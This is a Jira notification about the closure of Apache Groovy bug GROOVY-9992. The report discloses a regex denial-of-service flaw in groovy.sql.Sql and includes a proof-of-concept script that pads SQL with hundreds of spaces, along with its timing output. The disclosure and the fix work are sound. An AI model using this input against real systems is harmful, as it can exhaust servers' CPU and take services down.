[
https://issues.apache.org/jira/browse/GROOVY-9992?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Paul King closed GROOVY-9992.
-----------------------------
> Redos in groovy.sql.Sql
> -----------------------
>
> Key: GROOVY-9992
> URL: https://issues.apache.org/jira/browse/GROOVY-9992
> Project: Groovy
> Issue Type: Bug
> Components: SQL processing
> Reporter: kingkk
> Assignee: Paul King
> Priority: Major
> Labels: security
> Fix For: 6.0.0-alpha-1
>
>
> When executing a prepare sql statement, adding too many spaces in front of
> sql will cause redos.The following is an example.
> {code:java}
> import groovy.sql.Sql
> class SqlTest {
> static void main(String[] args) {
> def url = 'jdbc:mysql://127.0.0.1:3306/test'
> def user = 'user'
> def password = '123456'
> def driver = 'com.mysql.cj.jdbc.Driver'
> def conn = Sql.newInstance(url, user, password, driver)
> def sql = ""
> for (int i = 0; i < 400; i++) {
> sql += " "
> }
> sql += "select * from users where id=?"
> def startTime = System.currentTimeMillis()
> conn.execute(sql, 1)
> println("exec sql: " + (System.currentTimeMillis() - startTime))
> conn.close()
> }
> }{code}
> The groovy and mysql-connector versions used are as follows
> {code:java}
> <dependency>
> <groupId>org.codehaus.groovy</groupId>
> <artifactId>groovy-all</artifactId>
> <version>3.0.7</version>
> </dependency>
> <dependency>
> <groupId>org.codehaus.groovy</groupId>
> <artifactId>groovy-sql</artifactId>
> <version>3.0.7</version>
> </dependency>
> <dependency>
> <groupId>mysql</groupId>
> <artifactId>mysql-connector-java</artifactId>
> <version>8.0.23</version>
> </dependency>
> {code}
> The output after executing this is as follows
> {code:java}
> exec sql: 11731
> {code}
> This shows that the conn.execute() operation took about 11 seconds to
> complete, and the cpu utilization has been high during this period. Modifying
> 400 in the for loop to 1000 will take longer and eventually lead to
> exhaustion of computer resources.
>
> The reason for this vuln is that
> groovy.sql.Sql$CreatePreparedStatementCommand.appearsLikeStoredProc uses
> improper regular expressions for matching.
> {code:java}
> private boolean appearsLikeStoredProc(String sql) {
> return sql.matches("\\s*[{]?\\s*[?]?\\s*[=]?\\s*[cC][aA][lL][lL].*");
> }
> {code}
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
